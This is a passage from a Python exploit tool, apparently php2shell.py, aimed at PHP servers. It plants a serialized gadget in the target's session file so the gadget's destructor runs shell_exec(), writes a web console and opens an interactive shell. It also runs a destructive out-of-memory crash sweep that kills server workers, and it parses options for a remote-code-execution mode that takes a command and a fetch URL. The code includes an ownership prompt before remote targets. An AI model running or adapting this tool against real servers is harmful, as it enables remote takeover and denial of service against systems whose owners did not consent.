    print("         (application flaw, NOT CVE-2026-109619)")
    print(c("=" * 72, B))
    print("Planting a gadget object in the target's session file so the app's")
    print("session decode builds a real object and runs its __destruct() ->")
    print("shell_exec(). The console is written BY THE EXPLOIT.")
    print("This chain needs the app to call session_start() and to autoload a")
    print("gadget; it still runs on patched PHP. CVE-2026-109619 is a separate")
    print("core stale-state bug (session upload progress / early INI errors).")
    print()

    got_shell = False
    if not cookie:
        print("  the app does not use sessions, so there is no session file to")
        print("  plant the payload in. The object-injection chain needs an app")
        print("  that opens a session. This does NOT close CVE-2026-109619:")
        print("  its upload-progress consumer works without session_start().")
        print()
        print("  Add session_start() to the app and give it a class with a")
        print("  __destruct() that runs a command, then re-run this.")
        print()
        print("  Continuing with the CVE-2026-109618 assessment instead - the")
        print("  crash test does not need sessions.")
    else:
        sess_dirs = session_dir_candidates(webroot, sess_path)
        if sess_dirs:
            print(f"  session dirs : {', '.join(sess_dirs)}")
        cls, used = discover_gadget(webroot=webroot, sess_dirs=sess_dirs)
        if not cls:
            if not is_our_lab():
                print("  the object-injection route is CLOSED for this target.")
                print("  (application chain only - this says nothing about")
                print("  CVE-2026-109619, which needs no session_start()).")
                print()
                print("  Why: that route works by WRITING a payload into the")
                print("  target's session file and letting the app's session")
                print("  decoder build a real object out of it. Writing into the")
                print("  target's filesystem needs access to the server - SSH, a")
                print("  mount, a container volume - and a remote host over HTTP")
                print("  gives you neither. For mod_php, the alternative is")
                print("  the weaponised memory-corruption stage via --rce.")
                print()
                print("  To use it: run the exploit ON the server, where it can")
                print("  write the session file itself:")
                print("      python3 php2shell.py --url http://127.0.0.1/")
            else:
                print("  no gadget class found - the session decoder could not build a")
                print("  real object. The app needs a class whose __destruct() runs a")
                print("  command, and an autoloader that can resolve it.")
            print()
            print("  Continuing with the CVE-2026-109618 assessment instead.")
        else:
            print(f"  gadget class : {cls}")
            print(f"  session dir  : {used}")
            if not webroot:
                print("  web root    : not disclosed - nowhere to write the console")
                print("  the gadget is reachable, but the console needs a writable")
                print("  web root. Continuing with the CVE-2026-109618 assessment.")
            else:
                out = deploy_console(webroot, cls=cls, session_dir=used)
                if not out:
                    print("  console      : not written")
                else:
                    print(f"  console      : {out}")
                    time.sleep(0.4)
                    shell = Shell("/" + CONSOLE)
                    meta = shell.meta()
                    if not meta:
                        print("  NOT reachable")
                    else:
                        print(f"  banner       : {meta.get('banner', '')}")
                        got_shell = True
                        interactive(shell)

    # The crash test is destructive, so it runs LAST: on a real deployment the
    # worker is respawned by the web server, but there is no reason to take
    # the target down before you have your shell. It needs no sessions, so it
    # also runs when the object-injection route is closed.
    print()
    print(c("=" * 72, B))
    print(" STEP 3  CVE-2026-109618 test (destructive - do it last)")
    print(c("=" * 72, B))
    verdict = is_patched(version, PHP2SHELL_FIXED)
    if verdict is True:
        print("  the target reports a patched version - skipping the")
        print("  destructive confirmation.")
        if not got_shell:
            print("  no shell: this app has no session_start()/gadget.")
        return 0
    if verdict is None and not FORCE:
        print("  the version could not be mapped to a branch - skipping the")
        print("  destructive confirmation (use --force to run it anyway).")
        return 0 if got_shell else 2
    if not confirm_destructive():
        print("  skipped - no destructive request was sent.")
        if not got_shell:
            print("  no shell: this app has no session_start()/gadget,")
            print("  and the 109618 crash test was not run.")
        return 0 if got_shell else 1
    cal = calibrate()
    if not cal["ok"]:
        if cal.get("unreachable"):
            print("  target stopped answering - assessment aborted.")
            return 0 if got_shell else 2
        cap, limit = cal.get("cap"), cal.get("limit")
        print("  corruption reachable: NO (urlencoded variant)")
        if cap and limit:
            print(f"  the field name would have to be about "
                  f"{(limit // 5) // 1024} KB to exhaust the "
                  f"{limit // (1024*1024)} MB memory limit, but post_max_size")
            print(f"  only allows {cap // 1024} KB of body.")
        elif cap:
            print(f"  post_max_size is {cap // (1024*1024)} MB, smaller than the memory")
            print("  limit, so this urlencoded shape cannot reach OOM.")
            print("  The rule for this shape: post_max_size >= memory_limit / 5.")
        else:
            print("  the request body limit is smaller than the memory limit.")
        print("  This does NOT clear the host: multipart OOM strategies can")
        print("  stay inside post_max_size. Patch: 8.5.12 / 8.4.27 / 8.3.36 / 8.2.35.")
        return 0 if got_shell else 1

    crashed, _ = sweep(cal["lo"], cal["hi"], cal["base"], steps=16)
    if crashed is not None:
        print("  host still serving : NO - worker died")
        print("  verdict           : OOM-corruption primitive reproduced")
        print("                      (consistent with CVE-2026-109618)")
        print("                      full destructor-callback RCE: use --rce")
        return 0 if got_shell else 1
    if not alive(timeout=2, retries=3, gap=1.0):
        print("  host still serving : NO")
        print("  verdict           : UNKNOWN - the target became unreachable")
        print("                      during the sweep, but no probe produced")
        print("                      a positive crash signal.")
        return 0 if got_shell else 2
    print("  host still serving : YES")
    print("  verdict           : no crash in this sweep")
    print("                      this is NOT proof the target is patched")
    return 0


# --------------------------------------------------------------------------- cli

def _int_arg(value, name):
    try:
        return int(value, 0)
    except ValueError:
        raise ValueError(f"{name} needs an integer, got {value!r}")


def main():
    global HOST, PORT, SCHEME, TLS, PATH, MODE
    global ASSUME_YES, DESTRUCTIVE, FORCE, WEBROOT_ARG, SESSION_DIR_ARG
    global RCE_CMD, RCE_PROOF, RCE_FETCH, RCE_PROFILE, RCE_RETRIES
    global RCE_ZIF_OFFSET, RCE_DTOR_OFFSET, RCE_HTDATA_OFFSET
    global RCE_STAGE1_N, RCE_STAGE2_T, RCE_STAGE2_V

    args = sys.argv[1:]
    url = None
    positional = []
    i = 0
    while i < len(args):
        a = args[i]
        if a == "--check":
            MODE = "check"
        elif a == "--ab":
            MODE = "ab"
        elif a == "--rce":
            MODE = "rce"
        elif a == "--destructive":
            DESTRUCTIVE = True
        elif a == "--force":
            FORCE = True
        elif a == "--yes":
            ASSUME_YES = True
        elif a == "--cmd":
            if i + 1 >= len(args):
                print("--cmd needs a value")
                return 2
            i += 1
            RCE_CMD = args[i]
        elif a == "--proof-file":
            if i + 1 >= len(args):
                print("--proof-file needs a value")
                return 2
            i += 1
            RCE_PROOF = args[i]
        elif a == "--fetch":
            if i + 1 >= len(args):
                print("--fetch needs a value")
                return 2
            i += 1
            RCE_FETCH = args[i]
        elif a == "--profile":
            if i + 1 >= len(args):
                print("--profile needs a value")
                return 2
            i += 1
            RCE_PROFILE = args[i]
        elif a == "--retries":
            if i + 1 >= len(args):
                print("--retries needs a value")
                return 2
            i += 1
            try:
                RCE_RETRIES = _int_arg(args[i], "--retries")
            except ValueError as exc:
                print(exc)
                return 2
        elif a in ("--zif-offset", "--dtor-offset", "--htdata-offset",
                   "--stage1-n", "--stage2-t", "--stage2-v"):
            if i + 1 >= len(args):
                print(f"{a} needs a value")
                return 2
            i += 1
            try:
                value = _int_arg(args[i], a)
            except ValueError as exc:
                print(exc)
                return 2
            if a == "--zif-offset":
                RCE_ZIF_OFFSET = value
            elif a == "--dtor-offset":
                RCE_DTOR_OFFSET = value
            elif a == "--htdata-offset":
                RCE_HTDATA_OFFSET = value
            elif a == "--stage1-n":
                RCE_STAGE1_N = value
            elif a == "--stage2-t":
                RCE_STAGE2_T = value
            else:
                RCE_STAGE2_V = value
        elif a == "--url":
            if i + 1 >= len(args):
                print("--url needs a value")
                return 2
            i += 1
            url = args[i]
        elif a == "--webroot":
            if i + 1 >= len(args):
                print("--webroot needs a value")
                return 2
            i += 1
            WEBROOT_ARG = args[i]
        elif a == "--session-dir":
            if i + 1 >= len(args):
                print("--session-dir needs a value")
                return 2
            i += 1
            SESSION_DIR_ARG = args[i]
        elif a in ("-h", "--help"):
            print(__doc__)
            return 0
        elif a.startswith("-"):
            print(f"unknown option: {a}")
            return 2
        else:
            positional.append(a)
        i += 1

    if MODE == "ab":
        return mode_ab()

    if url is None:
        if positional:
            url = positional[0]
        else:
            default = f"http://{HOST}:{PORT}/"
            try:
                answer = input(f"Target URL [{default}]: ").strip()
            except (EOFError, KeyboardInterrupt):
                print()
                return 1
            url = answer or default

    from urllib.parse import urlparse
    p = urlparse(url if "//" in url else "//" + url)
    explicit_port = p.port
    HOST = p.hostname or HOST
    if p.scheme:
        SCHEME = p.scheme.lower()
    elif explicit_port == 443:
        SCHEME = "https"
    TLS = SCHEME in ("https", "tls")
    PORT = explicit_port or (443 if TLS else 80)
    if p.path and p.path != "/":
        PATH = p.path

    print(f"target : {SCHEME}://{HOST}:{PORT}{PATH}")

    if HOST not in ("127.0.0.1", "localhost", "::1"):
        print(c("  WARNING: this is a REMOTE target.", R))
        print("  Only run this against servers you own or are authorised to")
        print("  test. It sends request bodies of many megabytes.")
        if MODE == "check" and not DESTRUCTIVE:
            print("  This --check run is non-destructive: it will not kill a worker.")
        elif MODE == "rce":
            print("  This --rce run KILLS workers and then executes a command")
            print("  on the target. Only continue on a system you own.")
        else:
            print("  It deliberately KILLS a worker - denial of service against a")
            print("  live site, and traffic that is impossible to miss.")
        print()
        if not ASSUME_YES:
            try:
                answer = input("  Type the word OWNER to continue: ")
            except (EOFError, KeyboardInterrupt):
                print()
                return 1
            if answer.strip() != "OWNER":
                print("  aborted.")
                return 1
        print()
    if MODE == "check":
        return mode_check()
    if MODE == "rce":
        return mode_rce()
    return mode_shell()


if __name__ == "__main__":
    try:
        sys.exit(main())
    except KeyboardInterrupt:
        print()
        sys.exit(1)